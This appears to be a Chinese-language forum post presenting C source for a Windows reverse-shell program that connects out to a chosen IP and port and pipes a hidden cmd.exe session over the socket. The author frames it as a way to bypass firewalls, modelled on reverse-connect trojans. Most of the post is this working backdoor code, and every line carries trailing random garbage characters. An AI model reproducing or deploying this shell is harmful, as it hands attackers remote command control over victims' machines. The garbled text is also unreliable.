这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 xovsh\s
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/* ============================== QYg V[\&
Rebound port in Windows NT |:w)$i& *
By wind,2006/7 $c{fPFe-
===============================*/ G^|!'V
#include B#DnU;=O#+
#include 5pT8 }?7
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#pragma comment(lib,"wsock32.lib") + 70x0z2
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void OutputShell(); YP
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SOCKET sClient; %Q]3`kxp
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; B[3u,<opFU
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void main(int argc,char **argv) /\{emE\]
{ uUiS:Tp]
WSADATA stWsaData; esiU._:u
int nRet; ODEFs?%'
SOCKADDR_IN stSaiClient,stSaiServer; zpD?5
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if(argc != 3) 7YxVtN
{ $1$0M
printf("Useage:\n\rRebound DestIP DestPort\n"); BRy3D\}
return; fK6[ p&
} 78\j
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WSAStartup(MAKEWORD(2,2),&stWsaData); OxPl0-]t
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,5V6=pr$
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stSaiClient.sin_family = AF_INET; ,CI-IR2
stSaiClient.sin_port = htons(0); BhYvEbt
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); A%2B3@1'q
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !?>QN'p.b
{
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printf("Bind Socket Failed!\n"); Q}G2f4
return; h\p!J-V
} et/:vLl13
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stSaiServer.sin_family = AF_INET; suzK)rJ9i
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); -wrVEH8
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); k33\;9@k
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3"zPG~fY{
{ EjFn\|VK
printf("Connect Error!"); j^5YFUwsQg
return; ZY8w1:'
} ,oUzaEX
OutputShell(); /@|iI<|
} h
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void OutputShell() $#-rOi /
{ Gh/nNwyu<
char szBuff[1024]; &TY74w*
SECURITY_ATTRIBUTES stSecurityAttributes; 5'NNwc\
OSVERSIONINFO stOsversionInfo; ii_kgqT^
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; IA<>+NS
STARTUPINFO stStartupInfo; =^GPQ_"
char *szShell; ]\KVA)\
PROCESS_INFORMATION stProcessInformation; g5y`XFY
unsigned long lBytesRead; ;py9,Wno
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); L{P'mG=4
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); *1Bq>h:
stSecurityAttributes.lpSecurityDescriptor = 0; A"ATtid
stSecurityAttributes.bInheritHandle = TRUE; kmc_%Wm}
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \?]U*)B.r
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); nKzm.D gt_
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); F$DA/ {.D
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <#ON
stStartupInfo.wShowWindow = SW_HIDE; Nd]F 33|X
stStartupInfo.hStdInput = hReadPipe;
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; W M` 3QJb
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GetVersionEx(&stOsversionInfo); =TDKU
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switch(stOsversionInfo.dwPlatformId) bw zx_F/
{ dkz%
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case 1: jhm/<=
szShell = "command.com"; BW7AjtxQ&
break; g%l ,a3"
default: F$)l8}
szShell = "cmd.exe"; 6w7;
break; V\Gs&>
} =4MTb_
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); :c~SH/qS
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send(sClient,szMsg,77,0); R1X'}#mU
while(1) +Q u.86dH
{ mFF4qbe
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); >Xk42zvqn
if(lBytesRead)
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{ {lWV H
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); gMI%!Y
send(sClient,szBuff,lBytesRead,0); 0TmEa59P
} wx*?@f>u^
else >t3_]n1e
{ u:f ]|Q
lBytesRead=recv(sClient,szBuff,1024,0); g %mCgP
if(lBytesRead<=0) break; 4HGTgS
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); UsyNn39
} L]H'$~xx*
} 6?F88;L
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return; 7A\`
}